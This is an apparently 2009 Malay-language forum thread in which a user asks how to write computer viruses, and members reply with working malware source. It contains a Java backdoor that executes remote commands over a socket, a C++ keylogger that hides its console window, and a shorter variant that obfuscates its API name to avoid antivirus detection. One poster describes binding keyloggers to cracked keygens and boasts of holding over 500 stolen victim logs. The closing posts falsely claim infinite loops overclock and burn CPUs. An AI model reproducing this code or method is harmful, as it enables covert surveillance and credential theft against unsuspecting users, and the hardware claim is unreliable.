+7
TOYSЯUS
Razi_IBM
Setsuna F. Seiei
LanoG
BasicCX
Hitoru
izwanensem
11 posters
Macammana nak guna C, C++, JAVA buat Virus
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
salam buat sume.......nak tanyalah mcm mana kita nak buat virus guna C, C++, JAVA or other Programming Language yg lain. Boleh tunjukkan cara x, Aku bukannya berniat jahat, cuma saja jer nak tambah ilmu pengetahuan. Masa aku belajar dulu cuma belajar nak buat sifir, Operasi Algoritma dll, itu pun dah banyak lupa coz lama xusik, hehe. Nak buat virus ni xder pulak. Minta tolong yer kepada otai2. tq
Hitoru- Ahli Baharu
- Number of posts : 26
Registration date : 26/05/2009
Takde keje lain ke nak buat Virus? Cuba belajar programming untuk buat game ke? Negara kita kekurangan game programmer!
Yang 3D game tau!!
Yang 3D game tau!!
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
hehehe.......jgnla marahhhhh.....programming utk buat game, kira ok gak tu.......boleh tolong tunjukkan ke?
BasicCX- Ahli Baharu
- Gender : Male Number of posts : 230
Registration date : 25/02/2009
Belajar programming, mulakan dengan basic command kemudian rujuk tutorial/contoh daripada internet/buku
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
ooo....ok, tq ya
Hitoru- Ahli Baharu
- Number of posts : 26
Registration date : 26/05/2009
Taklah marah sangat. Aku trauma sket sebab baru je format PC sebab kena virus. Kena lancarkan kampen 'Belia benci virus!'.
Kau ni baru nak berjinak2 dalam dunia programming ke atau dah beberapa tahun berkecimpung?
Apa kepakaran kau?
Kau ni baru nak berjinak2 dalam dunia programming ke atau dah beberapa tahun berkecimpung?
Apa kepakaran kau?
LanoG- Moderators
- Gender : Male Number of posts : 537
Location : Petaling Jaya
Job/hobbies : Basuh Pinggan
Registration date : 04/05/2009
Huhuhu.. garang nyer Hitoru..
Setsuna F. Seiei- Ahli Baharu
- Gender : Female Number of posts : 210
Age : 67
Registration date : 27/02/2009
boleh try endless loop untuk createnewfile XD haha .. java susah nak buat virus la .. paling bagus client botnet .. better guna c++ nak lagi old school pakai assembly
salah satu contoh backdoor untuk java .. lol java aku cam haram jadah exam dah nak dekat mampos aku
- Code:
import java.net.Socket;
import java.net.ServerSocket;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.IOException;
import java.io.File;
class BackdoorClient extends Thread {
private Socket socket;
private BufferedReader reader;
private BufferedWriter writer;
private String workingDirectory;
public BackdoorClient(Socket socket) {
this.socket = socket;
this.start();
}
public void run() {
try {
this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
this.workingDirectory = Util.getJARLoc();
this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
this.write(this.workingDirectory);
Debug.print("Wrote working dir\n");
while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
try {
String line = this.reader.readLine();
if(line == null) {
continue;
} else {
this.interpret(line);
this.write(":END");
this.write(this.workingDirectory);
}
} catch(IOException ioe) {
}
}
MiscStatus.backdoorConnected = false;
} catch(IOException ioe) {
Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
MiscStatus.backdoorConnected = false;
}
}
private void interpret(String line) {
String[] args = Util.splitArgs(line);
if(args[0].equals("exit")) {
try {
this.reader.close();
this.writer.close();
this.socket.close();
} catch(IOException ioe) {
}
} else if(args[0].equals("shutdown")) {
System.exit(1);
} else if(args[0].equals("shutdown listener")) {
ServerStatus.backdoorListening = false;
} else if(args[0].startsWith("cd")) {
if(args.length == 2) {
String dir = args[1];
if(dir.indexOf(":\\") == -1) {
File file = new File(this.workingDirectory + dir);
if(file.exists()) {
if(file.isDirectory()) {
this.workingDirectory = this.workingDirectory + dir;
if(!this.workingDirectory.endsWith("\\")) {
this.workingDirectory = this.workingDirectory + "\\";
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
File file = new File(dir);
if(file.exists()) {
if(file.isDirectory()) {
this.workingDirectory = dir;
if(!this.workingDirectory.endsWith("\\")) {
this.workingDirectory = this.workingDirectory + "\\";
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
this.write("No such directory: " + dir + "\n");
}
}
}
} else if(args[0].equals("ls")) {
File dir = new File(this.workingDirectory);
if(!dir.exists() || !dir.isDirectory()) {
this.write("No files found.\n");
return;
}
this.write("Contents of " + this.workingDirectory + ":\n\n");
for(File file : dir.listFiles()) {
if(file.isDirectory()) {
this.write("<DIR> " + file.getName() + "\n");
} else {
long size = file.length();
if(size >= (1024 * 1024 * 1024)) {
this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
} else if(size >= (1024 * 1024)) {
this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
} else if(size >= 1024) {
this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
} else if(size < 1024) {
this.write(file.getName() + " (" + size + " bytes)\n");
}
}
try {
this.sleep(10);
} catch(InterruptedException ie) {
}
}
} else {
try {
Process process = Runtime.getRuntime().exec(line);
if(line.indexOf(".exe") != -1) {
return;
}
BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
String str;
while((str = in.readLine()) != null) {
this.write(str + "\n");
}
} catch(IOException ioe) {
try {
Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
if(line.indexOf(".exe") != -1) {
return;
}
BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
String str2;
while((str2 = in2.readLine()) != null) {
this.write(str2 + "\n");
}
} catch(IOException ioe2) {
this.write("IOException thrown: " + ioe2.toString());
}
}
}
}
private void write(String str) {
str = str.replaceAll("\n", "");
try {
this.writer.write(str);
this.writer.newLine();
this.writer.flush();
} catch(IOException ioe) {
}
}
}
salah satu contoh backdoor untuk java .. lol java aku cam haram jadah exam dah nak dekat mampos aku
Razi_IBM- Ahli Rajin
- Gender : Male Number of posts : 1062
Age : 34
Location : on dmz.hack me if u can.
Job/hobbies : Saboteur
Registration date : 14/02/2009
ada beza ke nak buat virus ngan app lain?
sama je..yang penting tau mekanisma i/o dalam OS, operation apa yang os akan kawal, apa yang dikawal, macam mana data di handle dan sedikit sebanyak pengalaman tentang habit pengguna komputer. so, lepas tu pandai2 la exploit.
blaja basic2 dulu, sekadar virus yang menyusahkan/annoying<-aku dulu start dari sini(tapi vb jela..)
pastu baru la start main manipulate data.
sama je..yang penting tau mekanisma i/o dalam OS, operation apa yang os akan kawal, apa yang dikawal, macam mana data di handle dan sedikit sebanyak pengalaman tentang habit pengguna komputer. so, lepas tu pandai2 la exploit.
blaja basic2 dulu, sekadar virus yang menyusahkan/annoying<-aku dulu start dari sini(tapi vb jela..)
pastu baru la start main manipulate data.
Hitoru- Ahli Baharu
- Number of posts : 26
Registration date : 26/05/2009
Bezanya virus = perosak, Apps lain = gives pleasure to user
Banyak lagi cara nak belajar tentang programming. Bak nyanyian Ruhil " Hei, jangan main api, nanti terbakar diri".
Argh!! Jahanam virus yg rosakkan PC ku tempoh hari!!
Banyak lagi cara nak belajar tentang programming. Bak nyanyian Ruhil " Hei, jangan main api, nanti terbakar diri".
Argh!! Jahanam virus yg rosakkan PC ku tempoh hari!!
Setsuna F. Seiei- Ahli Baharu
- Gender : Female Number of posts : 210
Age : 67
Registration date : 27/02/2009
takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
sure dapat victim .. aku skang dah ada 500 lebey log
sure dapat victim .. aku skang dah ada 500 lebey log
Razi_IBM- Ahli Rajin
- Gender : Male Number of posts : 1062
Age : 34
Location : on dmz.hack me if u can.
Job/hobbies : Saboteur
Registration date : 14/02/2009
Hitoru wrote:Bezanya virus = perosak, Apps lain = gives pleasure to user
Banyak lagi cara nak belajar tentang programming. Bak nyanyian Ruhil " Hei, jangan main api, nanti terbakar diri".
Argh!! Jahanam virus yg rosakkan PC ku tempoh hari!!
tak perlu la emo sangat.
Hitoru- Ahli Baharu
- Number of posts : 26
Registration date : 26/05/2009
Adush! gambar Bush ko letak.
"takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
sure dapat victim .. aku skang dah ada 500 lebey log"
Ini yang tak sedap dengar ni. Apa kau buat dengan 500 lebih log tu?
Selalu keygen software banyak antivirus detect ada virus tu sebenarnya memang virus la yerk? Ke ada yang behavior macam virus tapi tak merbahaya?
"takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
sure dapat victim .. aku skang dah ada 500 lebey log"
Ini yang tak sedap dengar ni. Apa kau buat dengan 500 lebih log tu?
Selalu keygen software banyak antivirus detect ada virus tu sebenarnya memang virus la yerk? Ke ada yang behavior macam virus tapi tak merbahaya?
Setsuna F. Seiei- Ahli Baharu
- Gender : Female Number of posts : 210
Age : 67
Registration date : 27/02/2009
Hitoru wrote:Adush! gambar Bush ko letak.
"takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
sure dapat victim .. aku skang dah ada 500 lebey log"
Ini yang tak sedap dengar ni. Apa kau buat dengan 500 lebih log tu?
Selalu keygen software banyak antivirus detect ada virus tu sebenarnya memang virus la yerk? Ke ada yang behavior macam virus tapi tak merbahaya?
keygen tu actually clean pada asalnya cuma .. uploader yang bukan orignal re-up and bind trojan guna binder ... lagi mahal binder lagi bagus la undetected by antivirus. Trojan ni bukan la macam worm takdak multiply diri dia by itself and takder la sampai tahap merosakkan komputer sampai kena reformat .
p/s:aku tak buat aper ngan log tu cuma ...tengok jer Kadang aku buat Strategic patnership di mana aku akan kongsi account diorang and spread lagi banyak
Hitoru- Ahli Baharu
- Number of posts : 26
Registration date : 26/05/2009
Pergh!! Nampaknya memang durjana betul la biskut tawar keygen yg ber trojan. Dah agak dah mesti takde orang yg akan biskut tawar software tanpa ada apa2 faedah bagi dirinya. Mana ada orang nak buat bende secara percuma, nak2 biskut tawar software yg agak payah.
Bagai mana pula dengan informasi Login ID user computer tu kat email akaun dan akaun web2 lain? Boleh kah di perolehi oleh hackers ini melalui trojan durjana?
Bagai mana pula dengan informasi Login ID user computer tu kat email akaun dan akaun web2 lain? Boleh kah di perolehi oleh hackers ini melalui trojan durjana?
TOYSЯUS- Moderators
- Gender : Male Number of posts : 1571
Age : 37
Location : Kolam Kering - 3°5′00″N 101°32′00″E
Job/hobbies : Pembunuh
Registration date : 27/02/2009
Hm bagus per buat virus kalau tujuan baik, contohnya nak uji kekuatan sesuatu program antivirus (aka. jadi tester).
Sama jugak jadi heker, kalau tujuan baik contohnya nak uji security sesebuah bank.
Cam lecturer aku cakap, kalau ko dapat "curi" 1SEN je dari akaun orang pun (dengan cara mengehek), dah boleh dapat gaji ribu-riban.
Tapi kalau buat virus untuk tujuan jahat, yakni nak menjahanamkan komputer orang, dosa la. Aniaya orang.
Sama jugak jadi heker, kalau tujuan baik contohnya nak uji security sesebuah bank.
Cam lecturer aku cakap, kalau ko dapat "curi" 1SEN je dari akaun orang pun (dengan cara mengehek), dah boleh dapat gaji ribu-riban.
Tapi kalau buat virus untuk tujuan jahat, yakni nak menjahanamkan komputer orang, dosa la. Aniaya orang.
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
Hitoru wrote:Taklah marah sangat. Aku trauma sket sebab baru je format PC sebab kena virus. Kena lancarkan kampen 'Belia benci virus!'.
Kau ni baru nak berjinak2 dalam dunia programming ke atau dah beberapa tahun berkecimpung?
Apa kepakaran kau?
aku dah bbrp thn dah tinggalkan benda ni.....time dulu aku guna masa blaja kat kolej. bila dah lama tinggalkan ni......banyak yg dah lupa. kena rujuk buku balik
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
Setsuna F. Seiei wrote:boleh try endless loop untuk createnewfile XD haha .. java susah nak buat virus la .. paling bagus client botnet .. better guna c++ nak lagi old school pakai assembly
- Code:
import java.net.Socket;
import java.net.ServerSocket;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.IOException;
import java.io.File;
class BackdoorClient extends Thread {
private Socket socket;
private BufferedReader reader;
private BufferedWriter writer;
private String workingDirectory;
public BackdoorClient(Socket socket) {
this.socket = socket;
this.start();
}
public void run() {
try {
this.reader = new BufferedReader(new InputStreamReader(this.socket.getInputStream()));
this.writer = new BufferedWriter(new OutputStreamWriter(this.socket.getOutputStream()));
this.workingDirectory = Util.getJARLoc();
this.workingDirectory = this.workingDirectory.substring(0, this.workingDirectory.lastIndexOf("\\")) + "\\";
this.write(this.workingDirectory);
Debug.print("Wrote working dir\n");
while(this.socket.isConnected() && MiscStatus.backdoorConnected) {
try {
String line = this.reader.readLine();
if(line == null) {
continue;
} else {
this.interpret(line);
this.write(":END");
this.write(this.workingDirectory);
}
} catch(IOException ioe) {
}
}
MiscStatus.backdoorConnected = false;
} catch(IOException ioe) {
Debug.print("Backdoor reader / writer instantiation throwed IOException: " + ioe.toString());
MiscStatus.backdoorConnected = false;
}
}
private void interpret(String line) {
String[] args = Util.splitArgs(line);
if(args[0].equals("exit")) {
try {
this.reader.close();
this.writer.close();
this.socket.close();
} catch(IOException ioe) {
}
} else if(args[0].equals("shutdown")) {
System.exit(1);
} else if(args[0].equals("shutdown listener")) {
ServerStatus.backdoorListening = false;
} else if(args[0].startsWith("cd")) {
if(args.length == 2) {
String dir = args[1];
if(dir.indexOf(":\\") == -1) {
File file = new File(this.workingDirectory + dir);
if(file.exists()) {
if(file.isDirectory()) {
this.workingDirectory = this.workingDirectory + dir;
if(!this.workingDirectory.endsWith("\\")) {
this.workingDirectory = this.workingDirectory + "\\";
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
File file = new File(dir);
if(file.exists()) {
if(file.isDirectory()) {
this.workingDirectory = dir;
if(!this.workingDirectory.endsWith("\\")) {
this.workingDirectory = this.workingDirectory + "\\";
}
} else {
this.write("No such directory: " + dir + "\n");
}
} else {
this.write("No such directory: " + dir + "\n");
}
}
}
} else if(args[0].equals("ls")) {
File dir = new File(this.workingDirectory);
if(!dir.exists() || !dir.isDirectory()) {
this.write("No files found.\n");
return;
}
this.write("Contents of " + this.workingDirectory + ":\n\n");
for(File file : dir.listFiles()) {
if(file.isDirectory()) {
this.write("<DIR> " + file.getName() + "\n");
} else {
long size = file.length();
if(size >= (1024 * 1024 * 1024)) {
this.write(file.getName() + " (" + (size / (1024 * 1024 * 1024)) + " GB)\n");
} else if(size >= (1024 * 1024)) {
this.write(file.getName() + " (" + (size / (1024 * 1024)) + " MB)\n");
} else if(size >= 1024) {
this.write(file.getName() + " (" + (size / 1024) + " KB)\n");
} else if(size < 1024) {
this.write(file.getName() + " (" + size + " bytes)\n");
}
}
try {
this.sleep(10);
} catch(InterruptedException ie) {
}
}
} else {
try {
Process process = Runtime.getRuntime().exec(line);
if(line.indexOf(".exe") != -1) {
return;
}
BufferedReader in = new BufferedReader(new InputStreamReader(process.getInputStream()));
String str;
while((str = in.readLine()) != null) {
this.write(str + "\n");
}
} catch(IOException ioe) {
try {
Process process2 = Runtime.getRuntime().exec(this.workingDirectory + line);
if(line.indexOf(".exe") != -1) {
return;
}
BufferedReader in2 = new BufferedReader(new InputStreamReader(process2.getInputStream()));
String str2;
while((str2 = in2.readLine()) != null) {
this.write(str2 + "\n");
}
} catch(IOException ioe2) {
this.write("IOException thrown: " + ioe2.toString());
}
}
}
}
private void write(String str) {
str = str.replaceAll("\n", "");
try {
this.writer.write(str);
this.writer.newLine();
this.writer.flush();
} catch(IOException ioe) {
}
}
}
salah satu contoh backdoor untuk java .. lol java aku cam haram jadah exam dah nak dekat mampos aku
tumpang tanya.......banyak sgt benda baru yg aku baru dgr ni......client bootnet tu apa? old school tu apa? tq
izwanensem- Ahli Baharu
- Number of posts : 129
Registration date : 08/06/2009
Setsuna F. Seiei wrote:takpayah la susah susah nak blajar programming ... gi jadi jer script kiddie download keylogger pastu upload kat rs bind ngan keygen pastu post link
sure dapat victim .. aku skang dah ada 500 lebey log
mcm mana nak buat mcm tu yer? pastu benda2 tu mmg virus ke?
johnburn- Moderators
- Gender : Male Number of posts : 755
Location : Terengganu
Registration date : 07/03/2009
cnth keylogger dlm c++
kl nk bleh modified untk send log ke email or anything la:
kl nk bleh modified untk send log ke email or anything la:
- Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int get_keys();
return get_keys();
}
int get_keys(void)
{
short character;
while(1)
{
Sleep(10); // jage cpu usage
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("contoh.log","a+"); //cipta file untk smpn log
if(file==NULL)
{
return 1; // return error kl ade prob
}
if(file!=NULL) // kl file dh ade, trus pegi ke bhgian logger
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file); //ttp file
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
Izham87- Ahli Baharu
- Number of posts : 20
Registration date : 04/07/2009
johnburn wrote:cnth keylogger dlm c++
kl nk bleh modified untk send log ke email or anything la:
- Code:
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
#define BUFSIZE 80
int test_key(void);
int create_key(char *);
int get_keys(void);
int main(void)
{
HWND stealth;
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);
int get_keys();
return get_keys();
}
int get_keys(void)
{
short character;
while(1)
{
Sleep(10); // jage cpu usage
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{
FILE *file;
file=fopen("contoh.log","a+"); //cipta file untk smpn log
if(file==NULL)
{
return 1; // return error kl ade prob
}
if(file!=NULL) // kl file dh ade, trus pegi ke bhgian logger
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
case VK_NUMPAD0:
fputc('0',file);
fclose(file);
break;
case VK_NUMPAD1:
fputc('1',file);
fclose(file);
break;
case VK_NUMPAD2:
fputc('2',file);
fclose(file);
break;
case VK_NUMPAD3:
fputc('3',file);
fclose(file);
break;
case VK_NUMPAD4:
fputc('4',file);
fclose(file);
break;
case VK_NUMPAD5:
fputc('5',file);
fclose(file);
break;
case VK_NUMPAD6:
fputc('6',file);
fclose(file);
break;
case VK_NUMPAD7:
fputc('7',file);
fclose(file);
break;
case VK_NUMPAD8:
fputc('8',file);
fclose(file);
break;
case VK_NUMPAD9:
fputc('9',file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file); //ttp file
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
kalau nk pendek sikit guna code nih
- Code:
#include <windows.h>
#include <stdio.h>
typedef SHORT (WINAPI *GETASYNCKEYSTATE)(int);
GETASYNCKEYSTATE amekey;
int main(void)
{
FILE *out;
int t;
register int u;
char string[] = "Fds@rxmbJdxRs`sd";
for (t=0; t<strlen(string); t++) string[t]++;
amekey = (GETASYNCKEYSTATE) GetProcAddress(LoadLibrary("user32.dll"), string);
while (1) {
for (u=65; u<91; ++u)
if (amekey(u) == -32767) {
out = fopen("C:\\key.txt", "a+");
fprintf(out, "%c", tolower(u));
fclose(out);
}
Sleep(5);
}
return 0;
}
kuro90- Ahli Baharu
- Gender : Female Number of posts : 30
Age : 34
Location : hOMETOwn : phg. Studied: gombak JUNgLe
Job/hobbies : Student, Fighter
Registration date : 28/08/2009
nak ty infinite loop tuh one of the method of creating a virus ke? Member aku kata kalo slalu wat infinite loop pc leh damaged, btul ke?
hakiro- Ahli Baharu
- Number of posts : 19
Registration date : 24/07/2009
btui la tu ape mmber ko ckp.. die telan CPU.. silap2 CPU 2 nti bole OC..
then.. hangus~~
then.. hangus~~
kuro90- Ahli Baharu
- Gender : Female Number of posts : 30
Age : 34
Location : hOMETOwn : phg. Studied: gombak JUNgLe
Job/hobbies : Student, Fighter
Registration date : 28/08/2009
hakiro wrote:btui la tu ape mmber ko ckp.. die telan CPU.. silap2 CPU 2 nti bole OC..
then.. hangus~~
mksd ko?
hakiro- Ahli Baharu
- Number of posts : 19
Registration date : 24/07/2009
ok.. pndek citer.. tiap2 progrm yg running gune CPU
n.. loop antara function dlm program yg kuat makan CPU usage..
kalo loop.. then loop.. smpai bile2.. CPU tu trus running.. n running..
n.. xkan berhenti.. CPU usage pn naek~..
Cth progm yg mkn CPU adalah.. virus komputer..
sbb tiap2 virus komputer msti wajib gune function loop ni
sbb tu kalo PC sape yg ade byk virus..
no wonder la.. RAM pn die telan kalo CPU da naek..
then.. oleh sbb CPU da berkeje keras.. CPU pn kepanasan..
tp.. die kene wat Over time.. "OverClock"..
dan.. kepanasan yg melampau.. CPU pn bole burn~ kemudian.. hangus~~
cmne? faham x??
n.. loop antara function dlm program yg kuat makan CPU usage..
kalo loop.. then loop.. smpai bile2.. CPU tu trus running.. n running..
n.. xkan berhenti.. CPU usage pn naek~..
Cth progm yg mkn CPU adalah.. virus komputer..
sbb tiap2 virus komputer msti wajib gune function loop ni
sbb tu kalo PC sape yg ade byk virus..
no wonder la.. RAM pn die telan kalo CPU da naek..
then.. oleh sbb CPU da berkeje keras.. CPU pn kepanasan..
tp.. die kene wat Over time.. "OverClock"..
dan.. kepanasan yg melampau.. CPU pn bole burn~ kemudian.. hangus~~
cmne? faham x??